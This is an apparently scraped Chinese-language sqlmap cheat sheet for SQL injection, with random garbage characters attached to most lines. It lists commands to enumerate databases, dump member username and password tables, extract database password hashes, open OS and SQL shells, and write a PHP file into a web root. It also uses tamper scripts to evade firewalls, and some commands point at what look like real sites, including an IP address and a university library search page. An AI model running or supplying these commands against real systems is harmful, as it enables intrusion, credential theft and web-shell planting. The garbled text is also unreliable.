/pentest/database/sqlmap
& R A( l( [* k( u- {! a2 s
9 X( E! H3 c+ P# [% n0 hupdate :::::> in the folder after execute following order : svn update( p' u% b7 H; ?8 B3 X
" J n s4 }: W9 Z. Osqlmap.py -r 1.txt --current-db2 s. G: @5 X7 k- t! ]
9 V6 C8 ]% y6 F) D4 k0 `v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”! k: z( e. U& v0 M" k
& H7 ?& D# ?' p$ |& o! m! i==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
0 f0 a* h- a- Z, ?. C8 ~# S! X猜解数据库
' H1 ~; D/ g, B7 `' y8 b( y./sqlmap.py -u "injection-url" --dbs5 i" D3 o ~2 @4 N( e: ^
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"7 B6 ]$ f! U: X1 N1 d
; x) D- F" R$ U
猜解表名
o- t3 ^' ~$ W5 B* T( J# r./sqlmap.py -u "injection-url" -D database_name --tables
& }+ ?6 h, I6 T# }/ S* F
% [7 |& F$ X2 |6 F) ysqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
7 `* `3 E# i. Gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
/ i7 X0 N k! P- N: x
* l6 e, Y$ x( W; v2 a/ N8 U, Psqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump1 a4 Q: g U( o# S
0 L: f! N$ a0 d& t
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' l! x0 ~: e2 b7 e2 esqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
$ _/ ?8 s9 L r6 K# _( V( p5 gsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" % v$ B4 P9 }. q. c& e, H
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
% S% s9 p$ u( q4 \
8 v' |! V7 }8 k4 ~: G! B9 dsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
" O8 ^ b- R8 A A. J" c3 _3 R) Wsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
7 X) j$ @ K. \. k: f5 g3 xsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"+ n' r# O& A n( G7 z( o8 v/ s
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
6 ]& G" `3 _( a5 {) lsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump; F1 q% R: y' C+ ~5 k; y% v
) _6 d _% p# ~2 D
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了. h9 ]; A- p i# _3 O: C1 p3 @
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"% T _/ X3 ^" g; o* _; O
2 r; C% \/ }- F9 @( Csqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"- L; a) R! G$ |
猜解列名% l; l& u Q u) f
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns% i+ R0 D5 v9 c+ s7 c
2 D7 v6 g8 P7 H: q+ V. asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
9 x3 a6 M }2 V6 M- m4 zsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" + V# f) S2 O: [- _! J2 q0 L
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"2 K. t; \* N" v$ V/ X
3 E, B1 @; ]% A" ?: Nsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"/ e( Y: J* |4 m
&submit=Go: P" g9 i! z+ {" z
猜解值) j5 Y6 C7 h- Z! G# s
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
' m0 o9 v. d7 m========================================================
3 j/ f* c" x% l( J6 u搜索表名中包括mana字符的. z( o$ j5 Q) f' G9 l
/sqlmap.py -u "injection-url" -T mana --search
! o( T6 o; K: m- \7 ^返回一个交互式sql shell
8 q3 [7 e) d$ M, v; A$ g/sqlmap.py -u "injection-url" --sql-shell8 F) f0 r" N0 x2 L
读取指定文件(需权限)1 E4 v3 A3 z2 n7 Z$ U( G
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
% L# k7 a( ?/ z! A查看当前 用户 及 数据库
/ w# ^4 s0 b8 j% N/ ?; _6 v% J/sqlmap.py -u "injection-url" --current-user --current-db
6 [4 ]7 D' K; G4 _4 j1 f本地文件 写入 远程目标绝对路径6 y0 O& [8 N. c/ u
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径! Y q7 e& q: ^. F& N- p3 y3 u, r3 `
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" % s. N5 ?$ `7 v1 L% @1 J5 C$ u
6 X3 |) b8 q q
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径& y. w" {1 P9 x
查看某用的权限6 j& G& r) @: D1 S) P8 C
/sqlmap.py -u "injection-url" --privileges -U root
0 q, a. a/ R) {8 t查看当前用户是否为dba
6 a3 ?. A+ F5 w" Z* l7 Q0 I+ \( q/sqlmap.py -u "injection-url" --is-dba
9 x* o( l3 {8 s d- k% H' I* J; n# F/ T读取所有数据库用户或指定数据库用户的密码0 a1 F1 p$ a0 z! W& A- v
sqlmap.py -r 1.txt --users --passwords3 |7 H1 |3 H4 q5 H/ N$ N" `
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
9 w/ f9 s0 [0 O. i: R: s3 t1 h8 M$ y# Q4 V1 ]/ c4 g
/sqlmap.py -u "injection-url" --passwords -U root
: \8 d7 Z ^, U2 C0 b3 Z# O; r0 { K% v) p4 _# B
--start&&--stop 与 --first&&--last 的区别
2 V2 `3 T0 U( z$ o i! m/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)$ h1 M1 E7 V, A) b) j9 Z
* h- y1 l, F& | q& b5 t' ?从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)' x* Q! Q: d7 T* `2 i1 H
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables8 Q7 f# B, M7 u% }& A3 |2 }) I
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
5 S! L C! m5 c8 W3 L4 X+ K5 U. H2 V2 @ V4 l) r3 L
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)6 p( C8 ]" y# `9 C% j9 y& p% t
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"& ^7 j3 ]4 ~1 ~
; [6 C0 q$ J! a' a' m9 R
|